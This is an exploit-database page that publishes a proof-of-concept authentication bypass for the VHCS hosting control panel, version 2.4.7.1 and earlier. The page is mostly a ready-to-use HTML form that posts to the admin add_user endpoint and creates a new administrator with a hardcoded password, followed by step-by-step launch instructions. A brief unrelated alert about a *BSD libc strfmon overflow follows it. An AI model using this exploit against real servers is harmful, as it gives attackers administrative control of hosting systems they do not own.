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Details : ExploitAlert

  Topic : VHCS <= 2.4.7.1 (Add User) Authentication Bypass Exploit
  ExploitAlert : 335
  Credit : RoMaNSoFt
  Date : 24.2.2006

  Download

  Exploit Code :  

<html>

<head>
<title>VHCS (version <= 2.4.7.1) PoC. &nbsp;By
RoMaNSoFt</title>
<script language="JavaScript">
function submitform()
{
if (document.admin_add_user.username.value=='admin')
{
alert('Learn to read before launching an exploit,
script-kiddie!');
exit();
}


document.admin_add_user.action=document.admin_add_user.target.val
ue;
document.admin_add_user.submit();
}
</script>
</head>

<body>
<hr>
<center>
<b>VHCS (version <= 2.4.7.1) PoC. &nbsp;By
RoMaNSoFt &#60roman&#64rs-labs.com&#62
&nbsp;[08.Feb.2006]</b>

</center>
<hr>

<form name="admin_add_user" method="post"
action="">
<table width="100%"
cellpadding="5" cellspacing="5">
<tr>
<td
width="20">&nbsp;</td>
<td colspan="2">
&nbsp;
</td>

</tr>
<tr>
<td
width="20">&nbsp;</td> <td
width="200">Target URL</td>
<td>
<input type="text"
name="target"
value="http://<target>/vhcs2/admin/add_user.php"
style="width:400px">
</td>
</tr>

<tr>

<td
width="20">&nbsp;</td> <td
width="200">Username</td>
<td>
<input type="text"
name="username" value="admin"
style="width:200px">&nbsp;(should NOT exist)
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td colspan="2"><a
href="javascript: submitform()">Exploit
it!</a></td>
</tr>

<tr>
<td colspan="3">&nbsp;
</td>
</tr>
</table>
<input type="hidden"
name="pass" value="dsrrocks">
<input type="hidden"
name="pass_rep" value="dsrrocks">
<input type="hidden"
name="email"
value="vhcs-exploit@rs-labs.com">
<input type="hidden"
name="uaction" value="add_user">
</form>


<hr>
<br>
<u>Quick instructions</u>.-<br>
<br>
1.- Enable JavaScript. Fill in the form with appropiate
target URL (usually you will only need to replace
&#60target&#62 string) and username.<br>
2.- Remember not to use a probably existing username
(such as "admin").<br>

3.- Launch the exploit. <i>If target system is
vulnerable, a new VHCS admin user will be created</i>
;-)<br>
4.- You will be redirected to VHCS login page. Try to
login with your brand new username.<br>
5.- Ummm, I forgot it... The password is:
<b>dsrrocks</b>.<br>

<br>

<u>More info (analysis, fix,
etc)</u>.-<br>
<br>
See <a
href=http://www.rs-labs.com/adv/RS-Labs-Advisory-2006-1.txt>&l
t;i>RS-2006-1</i></a>.<br>
<br>
<hr>
</body>

</html>



Alert

*BSD libc (strfmon) Multiple vulnerabilities

high- 2008-03-25

Maksymilian Arciemowicz discovered a Integer Overflow vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.

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